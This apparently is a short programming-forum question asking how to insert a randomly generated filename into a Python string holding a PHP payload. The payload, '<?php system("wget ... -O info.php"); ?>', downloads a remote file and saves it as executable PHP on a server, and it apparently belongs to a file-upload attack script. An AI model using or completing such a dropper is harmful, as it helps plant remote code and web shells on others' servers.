title: Pass variable name on phpsystem wget
body: <pre><code>file = random_file(10)+'.php'
  </code></pre>
  <p>Now i have fixed name file php</p>
  <pre><code>upfil = '&lt;?php system(&quot;wget http://example.com/file.txt -O info.php&quot;); ?&gt;'
  </code></pre>
  <p>but i need to edit it with generated file name from file = random_file(10)+'.php</p>
  <pre><code>upfil = '&lt;?php system(&quot;wget http://example.com/file.txt -O {file}&quot;); ?&gt;'
  </code></pre>
  <p>How i can do it please ?</p>